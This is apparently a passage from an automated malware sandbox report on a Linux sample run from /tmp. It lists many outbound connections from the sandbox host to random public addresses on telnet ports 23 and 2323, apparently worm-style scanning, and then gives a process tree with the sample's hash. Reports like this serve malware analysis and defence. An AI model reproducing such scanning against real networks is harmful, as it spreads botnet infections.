      Jan 14, 2022 23:56:37.005378962 CET489823192.168.2.23146.130.4.81
      Jan 14, 2022 23:56:37.005409956 CET489823192.168.2.23180.103.152.86
      Jan 14, 2022 23:56:37.005413055 CET489823192.168.2.23221.216.112.40
      Jan 14, 2022 23:56:37.005444050 CET489823192.168.2.23169.109.155.26
      Jan 14, 2022 23:56:37.005453110 CET489823192.168.2.23187.235.230.99
      Jan 14, 2022 23:56:37.005454063 CET489823192.168.2.23129.241.178.28
      Jan 14, 2022 23:56:37.005475998 CET489823192.168.2.2394.133.230.108
      Jan 14, 2022 23:56:37.005480051 CET489823192.168.2.2350.57.90.117
      Jan 14, 2022 23:56:37.005498886 CET489823192.168.2.23135.68.189.65
      Jan 14, 2022 23:56:37.005511999 CET489823192.168.2.23196.191.120.68
      Jan 14, 2022 23:56:37.005541086 CET489823192.168.2.23142.149.32.209
      Jan 14, 2022 23:56:37.005542040 CET489823192.168.2.23136.234.129.44
      Jan 14, 2022 23:56:37.005543947 CET489823192.168.2.23179.145.165.149
      Jan 14, 2022 23:56:37.005551100 CET489823192.168.2.23218.183.78.89
      Jan 14, 2022 23:56:37.005551100 CET48982323192.168.2.2339.21.179.73
      Jan 14, 2022 23:56:37.005557060 CET489823192.168.2.2373.202.12.93
      Jan 14, 2022 23:56:37.005577087 CET489823192.168.2.23193.112.196.232
      Jan 14, 2022 23:56:37.005594015 CET489823192.168.2.23202.174.158.162
      Jan 14, 2022 23:56:37.005615950 CET489823192.168.2.23135.167.162.253
      Jan 14, 2022 23:56:37.005624056 CET48982323192.168.2.2344.193.126.40
      Jan 14, 2022 23:56:37.005625010 CET489823192.168.2.23131.207.90.155
      Jan 14, 2022 23:56:37.005640984 CET489823192.168.2.2371.93.44.28
      Jan 14, 2022 23:56:37.005654097 CET489823192.168.2.23170.216.237.9
      Jan 14, 2022 23:56:37.005672932 CET489823192.168.2.23187.30.82.237
      Jan 14, 2022 23:56:37.005690098 CET489823192.168.2.2323.224.65.86
      Jan 14, 2022 23:56:37.005718946 CET489823192.168.2.23198.206.109.28
      Jan 14, 2022 23:56:37.005718946 CET489823192.168.2.23120.13.77.178
      Jan 14, 2022 23:56:37.005719900 CET489823192.168.2.23109.228.22.34
      Jan 14, 2022 23:56:37.005742073 CET48982323192.168.2.23112.101.103.97
      Jan 14, 2022 23:56:37.005784035 CET489823192.168.2.23147.192.60.177
      Jan 14, 2022 23:56:37.005790949 CET489823192.168.2.2382.120.66.187
      Jan 14, 2022 23:56:37.005793095 CET489823192.168.2.23135.29.54.171
      Jan 14, 2022 23:56:37.005796909 CET489823192.168.2.23126.228.13.150
      Jan 14, 2022 23:56:37.005816936 CET489823192.168.2.2377.147.217.125
      Jan 14, 2022 23:56:37.005816936 CET489823192.168.2.231.226.55.214
      Jan 14, 2022 23:56:37.005820990 CET489823192.168.2.23133.150.192.103
      Jan 14, 2022 23:56:37.005822897 CET489823192.168.2.23170.5.215.105
      Jan 14, 2022 23:56:37.005846024 CET48982323192.168.2.2369.124.77.13
      Jan 14, 2022 23:56:37.005853891 CET489823192.168.2.23112.50.178.61
      Jan 14, 2022 23:56:37.005863905 CET489823192.168.2.2366.119.64.165
      Jan 14, 2022 23:56:37.005866051 CET489823192.168.2.23134.150.73.120
      Jan 14, 2022 23:56:37.005878925 CET489823192.168.2.23206.139.102.140
      Jan 14, 2022 23:56:37.005881071 CET489823192.168.2.23197.18.40.241
      Jan 14, 2022 23:56:37.005887985 CET489823192.168.2.2345.11.193.135
      Jan 14, 2022 23:56:37.005897045 CET489823192.168.2.23190.252.81.125
      Jan 14, 2022 23:56:37.005906105 CET489823192.168.2.2342.72.241.195
      Jan 14, 2022 23:56:37.005925894 CET489823192.168.2.2385.120.201.83
      Jan 14, 2022 23:56:37.005945921 CET489823192.168.2.23189.20.246.216
      Jan 14, 2022 23:56:37.006000996 CET48982323192.168.2.23116.153.19.31
      Jan 14, 2022 23:56:37.006021976 CET489823192.168.2.23123.70.171.158
      Jan 14, 2022 23:56:37.006038904 CET489823192.168.2.23181.203.88.199
      Jan 14, 2022 23:56:37.006061077 CET489823192.168.2.2369.55.171.108
      Jan 14, 2022 23:56:37.006077051 CET489823192.168.2.23197.185.96.245
      Jan 14, 2022 23:56:37.006091118 CET489823192.168.2.23205.179.135.209
      Jan 14, 2022 23:56:37.006110907 CET489823192.168.2.23104.199.99.243
      Jan 14, 2022 23:56:37.006122112 CET489823192.168.2.2377.203.215.10
      Jan 14, 2022 23:56:37.006171942 CET489823192.168.2.23145.94.138.99
      Jan 14, 2022 23:56:37.006185055 CET48982323192.168.2.2351.186.223.15
      Jan 14, 2022 23:56:37.006189108 CET489823192.168.2.2350.137.204.230
      Jan 14, 2022 23:56:37.006196022 CET489823192.168.2.23202.136.165.235
      Jan 14, 2022 23:56:37.006197929 CET489823192.168.2.2327.198.18.40
      Jan 14, 2022 23:56:37.006201029 CET489823192.168.2.23109.49.213.185
      Jan 14, 2022 23:56:37.006202936 CET489823192.168.2.23138.77.188.170
      Jan 14, 2022 23:56:37.006208897 CET489823192.168.2.2347.192.78.20
      Jan 14, 2022 23:56:37.006213903 CET489823192.168.2.2390.46.185.194
      Jan 14, 2022 23:56:37.006216049 CET489823192.168.2.231.37.54.239
      Jan 14, 2022 23:56:37.006227016 CET489823192.168.2.2317.110.67.15
      Jan 14, 2022 23:56:37.006228924 CET489823192.168.2.2347.109.226.230
      Jan 14, 2022 23:56:37.006238937 CET48982323192.168.2.23116.64.27.188
      Jan 14, 2022 23:56:37.006251097 CET489823192.168.2.2354.125.98.143
      Jan 14, 2022 23:56:37.006275892 CET489823192.168.2.23117.202.11.95
      Jan 14, 2022 23:56:37.006277084 CET489823192.168.2.23186.85.239.176
      Jan 14, 2022 23:56:37.006294012 CET489823192.168.2.23152.83.154.50
      Jan 14, 2022 23:56:37.006306887 CET489823192.168.2.23171.67.100.250
      Jan 14, 2022 23:56:37.006325960 CET489823192.168.2.23207.48.40.35
      Jan 14, 2022 23:56:37.006371021 CET489823192.168.2.2370.66.76.201
      Jan 14, 2022 23:56:37.006381035 CET489823192.168.2.23163.47.245.190
      Jan 14, 2022 23:56:37.006386042 CET489823192.168.2.2386.86.48.152
      Jan 14, 2022 23:56:37.006386042 CET48982323192.168.2.23110.102.99.206
      Jan 14, 2022 23:56:37.006395102 CET489823192.168.2.23163.5.18.201
      Jan 14, 2022 23:56:37.006401062 CET489823192.168.2.23219.254.225.203
      Jan 14, 2022 23:56:37.006407976 CET489823192.168.2.23200.110.21.213
      Jan 14, 2022 23:56:37.006625891 CET489823192.168.2.23207.129.197.209
      Jan 14, 2022 23:56:37.006632090 CET489823192.168.2.23200.240.11.185
      Jan 14, 2022 23:56:37.006650925 CET489823192.168.2.23163.215.222.151
      Jan 14, 2022 23:56:37.006669044 CET489823192.168.2.23180.209.180.24
      Jan 14, 2022 23:56:37.006700039 CET489823192.168.2.238.126.53.84
      Jan 14, 2022 23:56:37.006747961 CET489823192.168.2.23185.58.244.235

      HTTP Request Dependency Graph

      • 127.0.0.1:80

      System Behavior

      Analysis Process: 1xtO9V8ku8 PID: 5223 Parent PID: 5119

      General

      Start time:23:56:35
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:/tmp/1xtO9V8ku8
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: 1xtO9V8ku8 PID: 5225 Parent PID: 5223

      General

      Start time:23:56:36
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:n/a
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: 1xtO9V8ku8 PID: 5226 Parent PID: 5223

      General

      Start time:23:56:36
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:n/a
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: 1xtO9V8ku8 PID: 5227 Parent PID: 5223

      General

      Start time:23:56:36
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:n/a
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: 1xtO9V8ku8 PID: 5228 Parent PID: 5223

      General

      Start time:23:56:36
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:n/a
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: 1xtO9V8ku8 PID: 5229 Parent PID: 5223

      General

      Start time:23:56:36
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:n/a
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: 1xtO9V8ku8 PID: 5230 Parent PID: 5223

      General

      Start time:23:56:36
      Start date:14/01/2022
      Path:/tmp/1xtO9V8ku8
      Arguments:n/a
      File size:40816 bytes
      MD5 hash:aac6e25e1d471c889b0ae7b3939e84ed

      Analysis Process: systemd PID: 5374 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/lib/systemd/systemd
      Arguments:n/a
      File size:1620224 bytes
      MD5 hash:9b2bec7092a40488108543f9334aab75

      Analysis Process: logrotate PID: 5374 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/sbin/logrotate
      Arguments:/usr/sbin/logrotate /etc/logrotate.conf
      File size:84056 bytes
      MD5 hash:ff9f6831debb63e53a31ff8057143af6

      Analysis Process: logrotate PID: 5415 Parent PID: 5374

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/sbin/logrotate
      Arguments:n/a
      File size:84056 bytes
      MD5 hash:ff9f6831debb63e53a31ff8057143af6

      Analysis Process: gzip PID: 5415 Parent PID: 5374

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/bin/gzip
      Arguments:/bin/gzip
      File size:97496 bytes
      MD5 hash:beef4e1f54ec90564d2acd57c0b0c897

      Analysis Process: logrotate PID: 5416 Parent PID: 5374

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/sbin/logrotate
      Arguments:n/a
      File size:84056 bytes
      MD5 hash:ff9f6831debb63e53a31ff8057143af6

      Analysis Process: sh PID: 5416 Parent PID: 5374

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/bin/sh
      Arguments:sh -c "\n\t\tinvoke-rc.d --quiet cups restart > /dev/null\n" logrotate_script "/var/log/cups/*log "
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: sh PID: 5417 Parent PID: 5416

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/bin/sh
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: invoke-rc.d PID: 5417 Parent PID: 5416

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/sbin/invoke-rc.d
      Arguments:invoke-rc.d --quiet cups restart
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: invoke-rc.d PID: 5418 Parent PID: 5417

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/sbin/invoke-rc.d
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: runlevel PID: 5418 Parent PID: 5417

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/sbin/runlevel
      Arguments:/sbin/runlevel
      File size:996584 bytes
      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

      Analysis Process: invoke-rc.d PID: 5420 Parent PID: 5417

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/sbin/invoke-rc.d
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: systemctl PID: 5420 Parent PID: 5417

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/bin/systemctl
      Arguments:systemctl --quiet is-enabled cups.service
      File size:996584 bytes
      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

      Analysis Process: invoke-rc.d PID: 5421 Parent PID: 5417

      General

      Start time:00:00:38
      Start date:15/01/2022
      Path:/usr/sbin/invoke-rc.d
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: ls PID: 5421 Parent PID: 5417

      General

      Start time:00:00:38
      Start date:15/01/2022
      Path:/usr/bin/ls
      Arguments:ls /etc/rc[S2345].d/S[0-9][0-9]cups
      File size:142144 bytes
      MD5 hash:e7793f15c2ff7e747b4bc7079f5cd4f7

      Analysis Process: invoke-rc.d PID: 5422 Parent PID: 5417

      General

      Start time:00:00:38
      Start date:15/01/2022
      Path:/usr/sbin/invoke-rc.d
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: systemctl PID: 5422 Parent PID: 5417

      General

      Start time:00:00:38
      Start date:15/01/2022
      Path:/usr/bin/systemctl
      Arguments:systemctl --quiet is-active cups.service
      File size:996584 bytes
      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

      Analysis Process: logrotate PID: 5423 Parent PID: 5374

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/usr/sbin/logrotate
      Arguments:n/a
      File size:84056 bytes
      MD5 hash:ff9f6831debb63e53a31ff8057143af6

      Analysis Process: gzip PID: 5423 Parent PID: 5374

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/bin/gzip
      Arguments:/bin/gzip
      File size:97496 bytes
      MD5 hash:beef4e1f54ec90564d2acd57c0b0c897

      Analysis Process: logrotate PID: 5424 Parent PID: 5374

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/usr/sbin/logrotate
      Arguments:n/a
      File size:84056 bytes
      MD5 hash:ff9f6831debb63e53a31ff8057143af6

      Analysis Process: sh PID: 5424 Parent PID: 5374

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/bin/sh
      Arguments:sh -c /usr/lib/rsyslog/rsyslog-rotate logrotate_script /var/log/syslog
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: sh PID: 5427 Parent PID: 5424

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/bin/sh
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: rsyslog-rotate PID: 5427 Parent PID: 5424

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/usr/lib/rsyslog/rsyslog-rotate
      Arguments:/usr/lib/rsyslog/rsyslog-rotate
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: rsyslog-rotate PID: 5428 Parent PID: 5427

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/usr/lib/rsyslog/rsyslog-rotate
      Arguments:n/a
      File size:129816 bytes
      MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

      Analysis Process: systemctl PID: 5428 Parent PID: 5427

      General

      Start time:00:00:39
      Start date:15/01/2022
      Path:/usr/bin/systemctl
      Arguments:systemctl kill -s HUP rsyslog.service
      File size:996584 bytes
      MD5 hash:4deddfb6741481f68aeac522cc26ff4b

      Analysis Process: systemd PID: 5375 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/lib/systemd/systemd
      Arguments:n/a
      File size:1620224 bytes
      MD5 hash:9b2bec7092a40488108543f9334aab75

      Analysis Process: install PID: 5375 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/bin/install
      Arguments:/usr/bin/install -d -o man -g man -m 0755 /var/cache/man
      File size:158112 bytes
      MD5 hash:55e2520049dc6a62e8c94732e36cdd54

      Analysis Process: systemd PID: 5409 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/lib/systemd/systemd
      Arguments:n/a
      File size:1620224 bytes
      MD5 hash:9b2bec7092a40488108543f9334aab75

      Analysis Process: find PID: 5409 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/bin/find
      Arguments:/usr/bin/find /var/cache/man -type f -name *.gz -atime +6 -delete
      File size:320160 bytes
      MD5 hash:b68ef002f84cc54dd472238ba7df80ab

      Analysis Process: systemd PID: 5419 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/lib/systemd/systemd
      Arguments:n/a
      File size:1620224 bytes
      MD5 hash:9b2bec7092a40488108543f9334aab75

      Analysis Process: mandb PID: 5419 Parent PID: 1

      General

      Start time:00:00:37
      Start date:15/01/2022
      Path:/usr/bin/mandb
      Arguments:/usr/bin/mandb --quiet
      File size:142432 bytes
      MD5 hash:1dda5ea0027ecf1c2db0f5a3de7e6941